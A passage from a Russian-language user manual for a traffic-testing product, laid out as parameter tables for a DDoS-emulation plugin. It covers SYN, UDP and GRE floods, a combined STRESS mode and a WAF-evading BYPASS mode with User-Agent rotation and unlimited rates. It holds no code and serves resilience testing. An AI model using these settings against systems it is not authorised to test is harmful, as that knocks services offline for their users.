|---|---|---|
| Невалидная чек-сумма | Чек-сумма используется в IP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно. | Включение или выключение тумблера |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 114л;
Табл. 114л – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 114м.
Табл. 114м – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберите величину (в секундах, минутах или часах) |
MHDDoS Emulation
MHDDoS Emulation – плагин для эмуляции различных типов DDoS-атак с целью тестирования устойчивости и защиты сетевой инфраструктуры.
Данный плагин состоит из подплагинов ниже, которые можно включать при необходимости с пред настроенными параметрами.
SYN Flood
SYN Flood – подплагин для генерации трафика, в котором отправляется большое количество запросов на установление TCP-соединения (SYN-пакеты) без завершения процесса.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 115;
Табл. 115 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 116;
Табл. 116 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 117;
Табл. 117 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 118;
Табл. 118 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 119;
Табл. 119 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
UDP Flood
UDP Flood – подплагин для генерации трафика, который отправляет большой объем UDP-пакетов на целевой сервер, что может привести к исчерпанию пропускной способности и перегрузке ресурсов сервера.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 120;
Табл. 120 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 121;
Табл. 121 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 122;
Табл. 122 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры плагина – параметры настроек плагина UDP, описание которых указаны в Табл. 123.
Табл. 123 – Параметры «Плагина»
| Название | Описание | Значение |
|---|---|---|
| Невалидная чек-сумма | Чек-сумма используется в UDP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно. | Включение или выключение тумблера |
| Отправлять пейлоад | Пейлоад — это данные, которые передаются в UDP-пакете. В данном случае параметр указывает на необходимость отправки пейлоада вместе с UDP-пакетом | По умолчанию, тумблер включен |
| Случайные данные | Этот параметр подразумевает, что содержимое пейлоада будет генерироваться случайным образом. Это может включать случайные байты или строки, что делает трафик менее предсказуемым. | По умолчанию, тумблер включен. |
| Размер пейлоада | Этот параметр определяет размер данных в пейлоаде UDP-пакета. Значение может варьироваться от 0 до 1300 байт. | По умолчанию, значение указано: «1024») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 124;
Табл. 124 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
GRE Flood
GRE Flood – плагин для генерации трафика, который генерирует и отправляет большое количество пакетов с заголовком GRE (Generic Routing Encapsulation) с целью перегрузить пропускную способность сети.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 125;
Табл. 125 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 126;
Табл. 126 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 127;
Табл. 127 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- Параметры плагина – параметры настроек плагина GRE, описание которых указаны в Табл. 127а;
Табл. 127а – Параметры «Плагина»
| Название | Описание | Значение |
|---|---|---|
| Невалидная чек-сумма | Чек-сумма используется в IP-пакетах для проверки целостности данных. Установка невалидной чек-суммы означает, что отправляемые пакеты будут содержать неправильное значение чек-суммы, что может привести к тому, что получатель отвергнет эти пакеты или обработает их неправильно. | Включение или выключение тумблера |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 128;
Табл. 128 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
STRESS
STRESS – подплагин для генерации трафика, комбинирующий различные типы нагрузок для максимального воздействия на систему.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 129;
Табл. 129 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 130;
Табл. 130 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 131;
Табл. 131 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 132;
Табл. 132 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 133;
Табл. 133 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | выберите значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | По умолчанию, задано значение «POST» |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCH | По умолчанию, задано значение «{«data»: «${str(512)}»}» |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; «X-Requested-With»:«XMLHttpRequest»; «Content-Type»:«application/json»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 134;
Табл. 134 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение Значение по умолчанию: «20» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «0» |
BYPASS
BYPASS – подплагин для генерации трафика, направленный на обход стандартных мер защиты (например, фильтров или WAF).
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 135;
Табл. 135 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | выберите агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | выберите интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | выберите объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 136;
Табл. 136 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | выберите объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | выберите объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 137;
Табл. 137 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | выберите значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 138;
Табл. 138 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 139;
Табл. 139 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | выберите значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | По умолчанию, задано значение HTTP 1.1 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | По умолчанию, задано значение «GET» |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
